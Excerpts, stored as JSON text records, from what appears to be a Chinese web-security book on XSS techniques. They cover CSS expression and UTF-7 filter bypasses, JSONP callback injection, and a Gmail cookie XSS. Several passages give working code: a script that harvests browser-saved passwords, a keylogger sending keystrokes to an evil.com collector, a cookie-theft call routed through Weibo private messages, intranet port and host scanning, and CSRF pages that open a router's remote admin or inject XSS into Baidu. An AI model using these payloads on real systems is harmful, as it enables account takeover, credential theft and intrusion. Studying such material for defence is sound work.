    {"text": "1. CSS资源类属性 与HTML的资源类属性类似，CSS的一些资源类属性的XSS利用也是通过伪协议来完成的，这种利用方式目前只能在IE下被执行，并且IE 9已经可以防御住（但基于IE 9内核trident5的其他浏览器可能没有此防御能力）。"},
    {"text": "关键字主要有两个：javascript、vbscript，其用法大致如下： body{background-image:url('javascript:alert(1)');} BODY{BACKGROUND-image:URL(JavaSCRIPT:alert(1));} BODY{BACKGROUND-image:URL(vbscript:msgbox(2));} li {list-style-image: url(\"javascript:alert('XSS')\");} CSS还有一类资源类属性可以嵌入XML、CSS或者JavaScript，比如，Firefox2独有的-moz-binding、IE独有的behavior以及规则@import，用法分别如下： body{-moz-binding:url(\"http://www.evil.com/xss.xml\")} html{behavior: url(1.htc);} @import \"test.css\" 首先看-moz-binding，引入的xss.xml代码如下： <?xml version=\"1.0\"?> <bindings xmlns=\"http://www.mozilla.org/xbl\"> <binding id=\"xss\"> <implementation> <constructor><![CDATA[alert('XSS')]]></constructor> </implementation> </binding> </bindings> Firefox不久就修补了引用外域的XML问题，但是同域的还可以这样利用XSS，不过好景也不长，-mod-bingding不再被支持。"},
    {"text": "需要注意的是，引用的文件不能够跨域，且路径是相对于CSS文件的路径或者是绝对路径，格式如下： <PUBLIC:COMPONENT lightWeight=\"true\"> <PUBLIC:ATTACH EVENT=\"ondocumentready\" FOR=\"element\" ONEVENT=\"main()\" /> <script type=\"text/javascript\"> function main(){ alert(\"XSS\"); } </script> </PUBLIC:COMPONENT> behavior XSS在IE下还一直有效。"},
    {"text": "而规则@import引入的是一段CSS代码，利用方式与正常的CSS利用相同，这里不再赘述。 由于在CSS属性名的任何地方都可以插入反斜线“\\”以及反斜线+0的各种组合，如： @\\imp\\ort \"url\"; @Imp\\0000orT \"url\"; @\\i\\0\\M\\00p\\000o\\0000\\00000R\\000000t \"url\" 并且由于声明语句“!important”中也包含“import”字符串，导致不可以通过直接过滤关键字的方式来达到防御效果，从而使过滤器对@import的过滤在最初几年一直支持不好。"},
    {"text": "2. expression expression是IE所独有的CSS属性，其目的就是为了插入一段JavaScript代码，示例如下： a{text:expression(target=\"_blank\");} 当在IE下执行这段CSS后，它会给所有的链接都加上target=\"_blank\"属性。"},
    {"text": "从中我们不难发现，expression中的代码相当于一段JavaScript匿名函数在当前页面的生命周期内是不断循环执行的，但在某些情况下，我们并不期望XSS代码被一遍又一遍地执行。"},
    {"text": "我们要想尽办法打破这个循环，那么就必须在匿名函数之外设置全局变量来标记我们的执行或许是其他某种可以标记的方式： expression(if(window.x!=1){alert(1);window.x=1;}); 比较遗憾的是，我们不能像混淆@import规则一样使用\\0000去混淆expression，但我们可以使用注释来进行混淆（同样，注释不能用来混淆@import）： body{xss:e/**/xpression((window.x==1)?'':eval('x=1;alert(2);'));} body{/*a*/x/*a*/ss/*a*/:/*a*/e/**/xpression/*a*/((window.x==1)?'':eval(' x=1;alert(2);'));} 而且在IE 6下甚至可以用全角字符来混淆expression关键字，也可以被执行，达到绕过过滤器的目的： body{xss:expression((window.x==1)?'':eval('x=1;alert(2);'));} 另外，我们先前提到的进制编码也是绕过过滤器的有效手段： body{\\078\\073\\073:\\065\\078\\070\\072\\065\\073\\073\\069\\06f\\06e((window.x==1) ?'':eval('x=1;alert(2);'));} 3. 利用UTF-7编码进行CSS代码混淆 我们在6.7.1节中介绍monyer在线加解密工具时，提过两个加/解密：UTF7 Encode和UTF7 Decode（由于代码行数很长，这里不提供）。 将页面进行UTF-7编码，这为混淆我们的代码、绕过对方的过滤器提供了很大便利，例如，对代码： expression(if(window.x!=1){alert(1);window.x=1;}); 进行UTF-7完全编码后的效果如下： e+AHgAcABy-e+AHMAcw-i+AG8-n+ACg-if+ACgAdw-ind+AG8AdwAuAHgAIQA9ADEAKQB7AGEAbA-e+AHIAdAAoADEAKQA7AHc-ind+AG8AdwAuAHgAPQAxADsAfQApADs- 当然，我们也可以仅进行部分编码： expression+ACg-if+ACg-window+AC4-x+ACEAPQ-1+ACkAew-alert+ACg-1+ACkAOw-window+AC4-x=1+ADsAfQApADs- 添加上之前提到的一个规则@charset，并将值设置为UTF-7，我们将可以顺利执行XSS代码： @charset \"UTF-7\"; body {aaa:expression+ACg-if+ACg-window+AC4-x+ACEAPQ-1+ACkAew-alert+ACg-1+ACkAOw-w indow+AC4-x=1+ADsAfQApADs-} 除此之外，根据6.5.2节的相关描述，也可以用如下几个特殊字符来替代“@charset \"UTF-7\";”语句： +/v8 +/v9 +/v+ +/v/ 前提是这几个字符必须处于文件的头部，如： +/v8 body {font-family: '+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbABlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-'; } 这里利用了IE解析文件时，如果发现头部是“+/v8”（或其他几个字符），就把文件当做UTF-7解析的特性，IE对这个问题已经进行了修补，大家可以在IE 6下测试，因为IE 6不会再有这些安全补丁了。 6.7.5 JavaScript中的代码注入技巧 当XSS点出现在JavaScript代码的变量中时，只要我们可以顺利闭合之前的变量，接下来就可以插入我们的代码了，示例如下： var a = \"[userinput]\"; 假设其中的[userinput]是用户可控变量，则可以尝试用引号来闭合变量，假如输入： 123\";alert(1);b=\" 那么代码效果如下： var a = \"123\";alert(1);b=\"\"; a变量被闭合，alert(1)得以逃脱出来，而b变量的存在是为了使语法保持正确，当然，我们也可以输入注释符“//”来忽略掉后面的错误语法： var a = \"123\";alert(1);//\"; 不过有时候我们寻找XSS注入点并非这么容易，如果对方的站点对[userinput]使用了addslashes，这样单引号、双引号和反斜线的前面都会增加一条反斜线，使得无法通过直接使用引号来闭合： var a = \"123\\\";alert(1);//\"; 这时该怎么办？"},
    {"text": "如果在宽字节环境下，就可以采用宽字节的方式进行（参考6.5.1节），或者也可以用下列语句： var a = \"123</script><script>alert(1);</script>\"; 对HTML页面中的JavaScript代码来说，</script>闭合标签具有最高优先级，可以在任何位置中断JavaScript代码。"},
    {"text": "根据需求的不同，JSON大体上有两种格式：没有callback函数名的裸Object形式和有callback函数名的参数调用Object的形式，格式如下： [{\"a\":\"b\"}] callback([{\"a\":\"b:}]) 后者的存在主要是为了跨域数据传输的需要，而这个特性通常也成了攻击者跨域获取用户隐私数据的重要渠道（4.2.2节提的JSON HiJacking）。 另外，一些应用为了维持数据接口的定制性，通常会让数据请求方在请求参数中提供callback函数名，而不是由数据提供方定制，如请求方发起请求： get_json.php?id=123&call_back=some_function 数据提供方提供数据的callback格式为： some_function([{'id':123, data:'some_data'}]); 如果恰巧在这个过程中，数据提供方没有对callback函数名做安全过滤，并且页面本身也没有对HTTP响应头中的Content-Type做限制，那么我们便跨域直接对callback参数进行利用，输入我们的XSS代码，如构造请求： get_json.php?id=123&call_back=<script>alert(1);</script> 那么数据提供方返回的数据就会成为如下形式： <script>alert(1);</script>([{'id':123, data:'some_data'}]; 由于页面是可访问的，浏览器默认就会当成HTML来解析，使得我们的XSS得以执行。"},
    {"text": "恰巧callback函数是处于文件开头，所以直接使用“+/v8”等字符让IE浏览器认为这是一个UTF-7编码的文件，之后再将我们的XSS代码进行UTF-7编码放进来即可（如前文所说，这种方式已经是历史）。 我们编写利用代码为： +/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4（为<script>alert(1)</script>的UTF-7编码） 经过URL编码后附在callback参数后面： get_json.php?id=123&callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4 这样数据提供方返回给我我们的数据为： +/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4({‘id’=>123,data=>’some_data’}); 通过IE解析后，就可以认为是UTF-7编码，并执行我们构造的语句。"},
    {"text": "不过还有一部分数据提供方采取了另一种巧妙的防御策略：给JSON数据页面HTTP响应头设置Content-Type，来使访问该页面时以下载的方式呈现，而不是HTML的方式呈现。"},
    {"text": "1）方式一 看提供方的Content-Type设计得够不够好，有些提供方设置的是“text/javascript”，这种type在IE下是有效的，但是在Firefox下，我们构造的代码依旧可以执行。 有些提供方设置的是“text/plain”，这在Firefox下是有效的，但是在IE下却会执行。 有些甚至把Content-Type设置成zip的头“application/x-zip-compressed”，但这种Content-Type对于“http://test/test.php?xss=123”请求的确是有效的，但是对于“http://test/test.php?xss=<script>alert(1)</script>”请求，在IE下却会失效。 一般认为设置成“application/json”相对来说还是比较有效的，不过根据情形，也有可突破的可能性，这就要谈到方式二。 2）方式二 方式二主要利用IE浏览器确定文件类型时不完全依赖Content-Type的特性，有时，如果我们直接增加一个URL参数为a.html，IE会认为这是一个HTML文件而忽略Content-Type，使用HTML来解析文件。 这通常由JSON提供商所使用的服务器、编程语言，以及使用语言的方式而定，如果将a.html放到如下位置，就有可能绕过Content-Type： foo.cgi?id=123&a.html foo/?id=123&a.html foo.php/a.html?id=123 （apache服务器会忽略掉/a.html去请求foo.php） 2. JavaScript中的代码混淆 有时虽然可以插入一个alert(1)这样的代码，但是想插入更多时，发现代码被做了HTMLEncode过滤，这时我们可以采用之前提到的方法，进行进制转换后使用eval来执行： eval(String.fromCharCode(97,108,101,114,116,40,49,41,59)); 如果对输入的内容有字数限制，我们甚至可以输入eval(name)来做执行入口，然后在另一个可控制的页面（如攻击者的网站）放置如下一段代码： <script> window.name = \"alert('xss')\"; locaton.href = \"http://www.target.com/xss.php\"; </script> 这里利用了window.name可以跨域传递的特性，这种方法由luoluo最先在Ph4nt0m Webzine 0x03上提到。 另一种过滤器情况可能与之相反，没有限制字数，却过滤了大部分函数，如eval、alert、http链接之类，那么我们都可以采取一些手段来绕过过滤器，如用(0)['constructor'] ['constructor']来代替eval，用\"h\"+\"t\"+\"t\"+\"p\"来绕过简单的链接过滤等，手段是多种多样的，这里就不一一介绍了。 下面来看一个用6个字符进行JavaScript代码编码的例子，如图6-12所示，或许大家会有所启发： http://utf-8.jp/public/jsfuck.html 图6-12 JSF*ck demo 除此之外，我们也可以使用Flash来绕过过滤器和隐藏我们的脚本内容： <embed allowscriptaccess=\"always\" src=\"http://www.evil.com/x.swf\" /> 6.7.6 突破URL过滤 有的时候，我们注入URL时，可以参考如下一些技巧来绕过过滤： 正常：<A HREF=\"http://66.102.7.147/\">XSS</A> URL编码： <A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A> 十进制：<A HREF=\"http://1113982867/\">XSS</A> 十六进制：<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A> 八进制：<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A> 混合编码：<A HREF=\"htt p://6&#9;6.000146.0x7.147/\">XSS</A> 不带http:协议：<A HREF=\"//www.google.com/\">XSS</A> 最后加个点：<A HREF=\"http://www.google.com./\">XSS</A> 6.7.7 更多经典的混淆CheckList 我们只能说通过大量的模糊测试可以发现很多奇怪的XSS利用点，浏览器之间存在大量细微的差异，很难总结出完美的规律。"},
    {"text": "表6-4 经典的混淆XSS利用点 除了这些，大家可以参考html5sec.org网站上整理的CheckList，还有一个由Gareth Heyes主导构建起来的在线fuzzing平台（shazzer.co.uk），非常不错。 我们可以加入这个平台，构建自己的fuzzing规则，利用自己的各种浏览器进行模糊测试，从shazzer中能发现大量的XSS利用点。"},
    {"text": "6.8 其他案例分享——Gmail Cookie XSS FireCookie是Firefox浏览器扩展FireBug的一个插件，专门用于Cookie的各种操作，非常方便。 本书的第二作者xisigr在2009年发现https://mail.google.com/support中存在一个Cookie XSS漏洞，当时用FireCookie进行编辑，把gmail_kimt_exp值改为： ')</script><script>alert(document.cookie)</script> 然后打开http://mail.google.com/support路径下的任何一个页面，查看HTTP源代码，发现嵌入了如下代码： <script type=\"text/javascript\"> urchinTracker('/support/?hl=en&experiment=')</script><script>alert(docum ent.cookie)</script>'); </script> 漏洞成因是Gmail的Cookie参数gmail_kimt_exp不进行任何过滤就直接输出到页面中，导致出现XSS漏洞。 这里要说明的是，Cookie参数值中不允许有空格存在，所以你在需要用到空格的时候要进行编码，比如： gmail_kimt_exp=')</script><script> eval(unescape(\"%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6E%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B\")) </script> 这个漏洞通知Google后已经修复，对特殊字符进行过滤： <script type=\"text/javascript\"> urchinTracker('/support/?hl=cn&experiment=\\x27)\\x3C\\x2Fscript\\x3E\\x3Cscript\\x3Ealert(1)\\x3C\\x2Fscript\\x3E'); </script> 题外话： 这个Cookie XSS的价值在哪里？"},
    {"text": "攻击者可以通过这个反射型XSS将Payload写到Cookie中，只要Cookie不清除，即使反射型XSS被修补了，那么每次用户进入Gmail的时候，Cookie XSS都可以触发，这就留下了一个后门，我们把这个叫做XSS Backdoor。"},
    {"text": "漏洞利用要完美，就得保证利用过程的原生态，本意就是让被攻击者区分不出，甚至被攻击后很长一段时间或者永远都不知道发生过这样的事。 针对不同的渗透目标，使用到的技巧组合可能都不一样，利用漏洞之前必须弄清渗透目标。"},
    {"text": "1. 目标环境 目标环境总是不大一样或者大不一样，比如针对CMS内容管理系统，在教育类、政府类、企业类、传统资讯类等网站中广泛使用，有开源的、闭源的。"},
    {"text": "除了CMS之外，还有许多其他类型的Web应用，如：SNS、博客、电商、微博，以及一些B/S架构的Web系统，如：Trac、Wiki、办公系统、安全平台等。"},
    {"text": "7.2 偷取隐私数据 在进行跨站攻击的过程中，当需要偷取数据时（比如Cookies、页面隐私内容等），就要考虑通过怎样的DOM操作提取数据，然后通过怎样的请求方式将数据发送出去。 我们在2.5节中说过DOM操作与请求操作，在请求操作上，如果数据很少，可以通过Image对象，如果数据很多，可通过表单自提交或跨域AJAX提交等，只要请求能发出去，数据就能偷到手。"},
    {"text": "1. 功能说明 在跨站渗透的过程中，我们打造了xssprobe这个小工具，通过它可以获取目标页面的通用数据，包括的数据信息如表7-1所示。 表7-1 xssprobe获取的数据类型说明 利用这些通用数据，有时能让我们直接获取目标用户的权限（通过Cookies利用），如果Cookies无效，至少还能得到其他有意义的数据，比如，目标用户是某CMS的管理员，那么通过location、toplocation或referer可以得到后台地址，通过其他信息则可以辅助判断目标用户的习惯。 2. 实现 我们来看看xssprobe是如何实现的，这个工具由两个文件组成：probe.js与probe.php，其中浏览器端的probe.js通过JavaScript获取表7-1中的信息并整理好，然后发给服务端的probe.php。"},
    {"text": "不过有的场景可能无法直接使用xssprobe，比如，有些黑盒的CMS系统，我们没有获取XSS漏洞，也不知道管理员后台地址是什么，此时可以诱骗管理员（通过提交留言、管理员后台查看留言等方式）访问probe.php?c=test文件地址，这时可以在probe.php中获取到IP地址、User-Agent、Referer等信息。"},
    {"text": "Referer指请求来源，很多网站通过这个来判断用户是从哪个页面/网站过来的。 Referer是公开的，故不可在Referer中存在与身份认证或者其他隐私相关的信息，但很多网站设计之初没考虑到Referer的风险性，从而导致出现了安全问题，有些可能现在没问题，但是以后随着业务的发展，网站功能增多，安全问题就会出现。"},
    {"text": "1. 手机浏览器上的Web世界 比如，人人网3g网站曾经存在的身份认证缺陷，3g.renren.com的认证是采用URL后带“认证token”方式进行的，攻击者可以使用几种途径获取认证token，比如，发一篇文章，文章中通过<img>标签嵌入xssprobe的probe.php?c=test文件，诱导被攻击者访问这篇文章，被攻击者的Referer就会被记录下来，认证token也就泄漏了。 2. 一些网银 比如，某网银就是将身份认证信息直接嵌入URL中那个所谓的sid号，只要能获取到这个sid号，就等于获得了网银的权限，获取sid号有几种方式，其中有一种是Referer泄漏（由于网银不存在用户交互的问题，Referer泄漏不容易，除非以后有这样的可能性，不过通过劫持网银的其他子域，也能得到这个Referer）。"},
    {"text": "Web厂商需要注意Referer泄漏隐私的风险，可以考虑如下方式来进行Referer的保护： 如果当前页面不存在任何第三方域的链接，可以不用担心Referer泄漏隐私的问题；"},
    {"text": "要么，在点击第三方域链接的时候进行中间跳转，首先跳转到自己的信任域内统一的功能页面上，这个页面专门作为往外跳转的“桥页”（URL中已经不存在隐私数据），然后这个“桥页”采用客户端跳转（meta跳转或JavaScript跳转），这样就能避免Referer泄漏的问题。 HTML5草案推荐的rel=\"noreferrer\"属性，可以让请求不带Referer，不过目前仅在WebKit内核浏览器（如Chrome）中得到支持，但这会是一种趋势，Web厂商可以考虑针对第三方域的链接统一添加如下属性： <a href=\"http://www.evil.com/\" rel=\"noreferrer\">noreferrer!</a> 7.2.3 浏览器记住的明文密码 这个技巧算是比较新的技巧，2010年时，各浏览器开始逐渐加入“记住密码”的功能（这些浏览器包括Firefox、Chrome、IE、Opera、Safari等），记住密码不同于老方式“记住登录状态”。 “记住登录状态”主要是设置了持久型的Cookie，这和浏览器没关系，而是Web服务自己设置的。 其实在有“记住密码”功能之前，浏览器还做了一件类似的事，就是记住表单内容。"},
    {"text": "当单击“登录”按钮时，浏览器会提示记住密码，如图7-2至图7-4所示。 图7-1 uchome登录 图7-2 IE浏览器记住密码 图7-3 Firefox浏览器记住密码 图7-4 Chrome浏览器记住密码 很多用户为了方便下次直接登录而不输入用户名和密码，就会选择记住。"},
    {"text": "这样明文密码就被浏览器保存在当前域下，此时跨域是不能获取到这个明文密码的，那么怎样才能获取这些密码呢？ 下面来看看怎么进行DOM操作来获得明文密码。"},
    {"text": "当包含密码表单项的网页被加载渲染后，浏览器就会开始将记住的明文密码填充进对应的密码表单项，由于是密码表单项，我们肉眼看到的会是一串星号，而直接查看网页源码将什么都看不到，因为这是一个动态填充的过程。"},
    {"text": "针对IE浏览器的POC代码如下： get_pwd = function () { /*获取明文密码*/ var e = document.createElement(\"input\"); e.name = e.type = e.id = \"password\"; document.getElementsByTagName(\"head\")[0].appendChild(e);// 往head添加就隐藏了 setTimeout(function () { alert(\"i can see ur pwd: \" + document.getElementById(\"password\"). value); }, 2000); // 时间竞争 } 从这个POC可以看出，只要动态创建一个type=\"password\"，并且name和id值与目标密码表单项一致就行，然后就是一个时间竞争，延时2秒是假设从页面被加载到浏览器完成了明文密码填充的时间。"},
    {"text": "因为还需要满足一些条件才行，来看看Firefox下的POC代码： get_pwd = function () { /*获取明文密码*/ var f = document.createElement(\"form\"); document.getElementsByTagName(\"head\")[0].appendChild(f); var e1 = document.createElement(\"input\"); e1.type = \"text\"; e1.name = e1.id = \"username\"; f.appendChild(e1); var e = document.createElement(\"input\"); e.name = e.type = e.id = \"password\"; f.appendChild(e); setTimeout(function () { alert(\"i can see ur pwd: \" + document.getElementById(\"password\"). value); }, 2000); // 时间竞争 } 可以看到，必须先创建一个form对象才行，否则这些浏览器会认为不合法，这个POC在Chrome中同样有效，但是Safari下又有一点不一样，只要将form对象添加到body标签中就可以，如果添加到head标签，Safari不会填充明文密码，而且Safari默认是不开启记住密码功能的。 POC出来后，就可以在XSS利用中使用该POC获取用户的明文密码，由于不同的Web环境下的密码表单项不太一样，此时只要修改相关的表单项值就行。 这方面还有更多深入的研究，可以参考我们在Ph4nt0m Webzine 0x06里的文章《XSS Hack：获取浏览器记住的明文密码》。"},
    {"text": "7.2.4 键盘记录器 键盘记录器实际上用处并不大，还不如劫持表单项的各种事件方便，比如，表单项的onchange、onblur、onclick等，当发现这些事件后，就将表单项里的值取到，而且键盘记录仅在全英文（ASCII）输入情况下有效，在输入时，存在中文输入框，是记录不了击键事件的。"},
    {"text": "var steal_url = \"http://www.evil.com/xss/steal.php?data=\"; // 键盘记录发送地址 var keystring = \"\";//键盘记录的字符串 function keypress(e){ // onkeypress时的操作 var currKey=0,CapsLock=0,e=e||event; currKey=e.keyCode||e.which||e.charCode; CapsLock=currKey>=65&&currKey<=90; switch(currKey) { case 8: case 9:case 13:case 32:case 38:case 39:case 46:keyName = \"\";break; default:keyName = String.fromCharCode(currKey); break; } keystring += keyName; } function keydown(e){ // onkeydown时的操作 var e=e||event; var currKey=e.keyCode||e.which||e.charCode; if((currKey>7&&currKey<14)||(currKey>31&&currKey<47)) { switch(currKey){ case 8: keyName = \"[LF]\"; break; case 9: keyName = \"[TAB]\"; break; case 13:keyName = \"[CR]\"; break; case 32:keyName = \"[SPACE]\"; break; case 33:keyName = \"[PageUp]\"; break; case 34:keyName = \"[PageDown]\"; break; case 35:keyName = \"[End]\"; break; case 36:keyName = \"[Home]\"; break; case 37:keyName = \"[LEFT]\"; break; case 38:keyName = \"[UP]\"; break; case 39:keyName = \"[RIGHT]\"; break; case 40:keyName = \"[DOWN]\"; break; case 46:keyName = \"[DEL]\"; break; default:keyName = \"\"; break; } if (keyName=='[CR]'){ // 如果是回车键，则提交键盘记录 //......省略发送请求：steal_url+keystring } keystring += keyName; } } function keyup(e){ // onkeyup时的操作 return keystring; } function blur(){ // onblur时的操作，离开焦点 // ...省略发送请求：steal_url+keystring } function bindEvent(o, e, fn){ // 绑定事件的通用函数 //o 绑定的标签对象 //e 绑定的事件 //fn 绑定后执行的函数 if (typeof o == \"undefined\" || typeof e == \"undefined\" || typeof fn == \"undefined\" || o == null){ return false; } if (o.addEventListener){ o.addEventListener(e, window[fn], false); } else if (o.attachEvent){ // IE o.attachEvent(\"on\"+e, window[fn]); } else { var oldhandler = o[\"on\"+e]; if (oldhandler) { o[\"on\"+e] = function(x){ oldhandler(x); window[fn](); } } else { o[\"on\"+e] = function(x){ window[fn](); } } } o.focus(); } o=document; // 要监听的对象可以是整个document或某个表单项 bindEvent(o,'keypress',\"keypress\"); bindEvent(o,'keydown',\"keydown\"); bindEvent(o,'keyup',\"keyup\"); bindEvent(o,'blur',\"blur\"); 7.2.5 偷取黑客隐私的一个小技巧 如果要偷取黑客/安全人员（假设他们用Firefox+NoScript插件）的隐私数据，如果有任何第三方域的请求，估计很容易被NoScript拦截，这时用的方法是：要么绕过NoScript（不总那么容易），要么就不要提交到第三方域，提交到本域是个不错的想法，比如，像曾经百度空间的私信功能，通过简单的接口就可以直接调用，一个GET请求就将数据存储到指定的账号私信里。"},
    {"text": "还有一个更普遍的方法，现在很多网站都用JavaScript封装了烦琐的操作，比如，仅需要一个简单的函数就能提交目标请求，如新浪微博提交私信的一种简洁方式： STK.core.io.ajax({method:'POST',url:'http://www.weibo.com/aj/message/add',args:{text:document.cookie.substr(0,300),screen_name:'%E5%BE%B7%E5%88%A9%E5%BE%97%E7%91%9F%E7%9A%84%E4%BA%91%E4%BA%91'}}) 格式化说明下： STK.core.io.ajax({ method: 'POST', // POST请求 url: 'http://www.weibo.com/aj/message/add', // 发送私信的地址 args: { // POST参数 text: document.cookie.substr(0, 300), // 消息内容长度不允许超过300字符 screen_name: '%E5%BE%B7%E5%88%A9%E5%BE%97%E7%91%9F%E7%9A%84%E4%BA%91%E4%BA%91' // 发送到的目标账号 } }) 如果这样做，等目标黑客发现后就来不及了。"},
    {"text": "7.3 内网渗透技术 内网渗透是一门独立的学问，通过Web层面（主要是JavaScript）进行的内网渗透实际上是一种很浅的渗透，不过带来的威力有可能很大。"},
    {"text": "<HEAD><TITLE>获取内网IP - Javascript</TITLE> <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\"> </HEAD> <script> function MyAddress(ip){ document.getElementById('ip').innerHTML = ip; } </script> 内网IP：<br /> <div id=\"ip\"></div> <APPLET CODE=\"MyAddress.class\" MAYSCRIPT WIDTH=0 HEIGHT=0></APPLET> MyAddress.class是Java Applet文件，功能就是通过Java获取内网地址，然后调用上层的JavaScript函数MyAddress，将获取到的IP显示出来。"},
    {"text": "7.3.2 获取内网IP端口 看看下面这段代码，Image对象请求时，得到资源后就触发onerror事件（因为这个资源不是正常的图片），得不到就进入timeout机制，通过这个原理来判断目标IP与端口是否存在，不过这个功能不太稳定，尤其是批量对一批IP端口进行请求时。 var m = new Image(); m.onerror = function () { if (!m) return; m = undefined; alert(\"open\"); }; m.onload = m.onerror; m.src = 'http://' + host + ':' + port; setTimeout(function () { if (!m) return; m = undefined; alert(\"close\"); }, 900); 除了这种方法，大家还可尝试通过跨域AJAX技巧或Web Socket方法实现IP端口的获取。 7.3.3 获取内网主机存活状态 主机存活状态的获取技巧很不错，本质是通过跨域AJAX请求进行的判断，比较稳定，这里整理出一个通用函数和相关说明，代码如下： function _pingscan(url, timeout) { /* from: http://ha.ckers.org/weird/xhr-ping-sweep.html http://securethoughts.com/security/ie8xdr/ie8xdr-ping-sweep.html */ var d = new Date; if (window.XDomainRequest) { // IE 8、IE 9下 var req = new XDomainRequest(); req.onerror = fndprocessRequest; // 发生错误时表明目标存活 req.ontimeout = errprocessRequest; // 发生超时时表明目标不存活 req.timeout = timeout; // 设置超时值 function errprocessRequest() { alert(/down/); } function fndprocessRequest() { alert(/live/); } } else if (window.XMLHttpRequest) { var req = new XMLHttpRequest(); req.onreadystatechange = processRequest; function processRequest() { if (req.readyState == 4) { var d2 = new Date; var time = d2.getTime() - d.getTime(); if (time < timeout) { // 小于超时值 if (time > 10) { // 大于10毫秒，这个条件判断可以忽略 alert(/live/); // 在指定超时值之内请求完成，则表明存活 } } else { alert(/down/); // 否则不存活 } } } } else return; req.open(\"get\", url); req.send(); 7.3.4 开启路由器的远程访问能力 如今，很多家庭局域网使用的路由是FAST 54M无线宽带路由器，如图7-5所示。"},
    {"text": "它有一项“远程WEB管理”功能，如下： 图7-5 FAST 54M无线宽带路由器 默认的“远程WEB管理IP地址”是0.0.0.0，如图7-6所示。 如果设置为255.255.255.255，则允许互联网上任意IP进行远程Web方式的管理，即通过浏览器登录这台FAST的外网IP，输入用户名与密码即可进行管理操作。 而且很多时候用户没有修改FAST的默认用户名与密码（admin/admin），这对攻击者来说，只要想办法将“远程WEB管理IP地址”改为255.255.255.255即可。 图7-6 FAST 54M无线宽带路由器管理界面 那么如何进行？"},
    {"text": "如果用户曾经通过浏览器登录过FAST进行管理，并且让浏览器记住登录会话，或者用户刚好登录FAST，这时被欺骗打开黑客构造的CSRF页面，页面的代码如下： <img src=http://192.168.10.1/userRpm/ManageControlRpm.htm?port=80&ip=255. 255.255.255&Save=%B1%A3+%B4%E6> 这段代码会发起一次CSRF请求，将“远程WEB管理IP地址”设置为255.255.255.255，即可攻击成功。 还有很多类似这样的Web管理界面存在CSRF漏洞，大家可以举一反三。"},
    {"text": "7.3.5 内网脆弱的Web应用控制 通过Referer有可能泄漏内网Web应用的地址，即通过对Referer的判断可能猜测出这个Web应用的类型，还可以通过fuzzing方式，猜测内网可能存在的Web应用。"},
    {"text": "简单的原型代码如下： <script> window.onerror=function(){ return true; }; function y(){ if(typeof(TracWysiwyg)=='function') alert('trac exist.'); } </script> <script src=https://192.168.1.2/trac/chrome/tracwysiwyg/wysiwyg.js onload=\"y();\" onreadystatechange=\"y();\"></script> onload在非IE下有效，onreadystatechange在IE下有效，当目标js文件加载完成后会执行y函数。"},
    {"text": "模糊测试出来后，就是针对性地利用特定Web应用的漏洞进行攻击，比较有意思的是，如果目标存在SQL注入，JavaScript如何获取SQL注入的结果？ 可以通过XSS做一个中间代理，这就要求目标Web应用也存在一个XSS漏洞，JavaScript就可以利用这个XSS漏洞，通过AJAX方式间接提交SQL注入语句，然后获取返回值。"},
    {"text": "7.4 基于CSRF的攻击技术 前面提到了基于XSS的SQL注入，这里要表明的是“攻击不单一”思想，在真实的渗透过程中，总是需要不同技术的互相配合。 本节说的基于CSRF的攻击技术也是一种比较通用的思想，它包括如下内容： 基于CSRF的SQL注入（比如：网站后台的SQL注入）。"},
    {"text": "有些XSS漏洞不好利用，比如有些后台的XSS漏洞，我们无法进入目标的后台，怎么能利用目标的XSS漏洞呢？ 如果进入了目标的后台，还利用这个XSS漏洞干什么？"},
    {"text": "比如，曾经的百度空间的自定义模板有两处持久型的XSS漏洞，一个是在编辑CSS的textarea中写入代码</textarea><script>alert('xss')</script><textarea>，然后保存该模板，就会出现跨站；"},
    {"text": "例如，一个攻击者构造的页面http://www.evil.com/csrf-xss-baiduhi.asp的代码如下： <% s = \"<form method='post' action='http://hi.baidu.com/yuxi4n/commit'>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='ct'/>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssUse'/>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssColorID'/>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='-1' name='spCssLayoutID'/>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit' name='spRefURL'/>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='cm'/>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='</style><script>alert(document.cookie)</script> <style>' name='spCssText'/>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='abc' name='spCssName'/>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='0' name='spCssTag'/>\" s = s+\"</form>\" s = s+\"<script>document.forms[0].submit();</script>\" Response.write(s) %> 被攻击者yuxi4n访问这个链接时就被CSRF攻击了，接着就是XSS漏洞的出现。"},
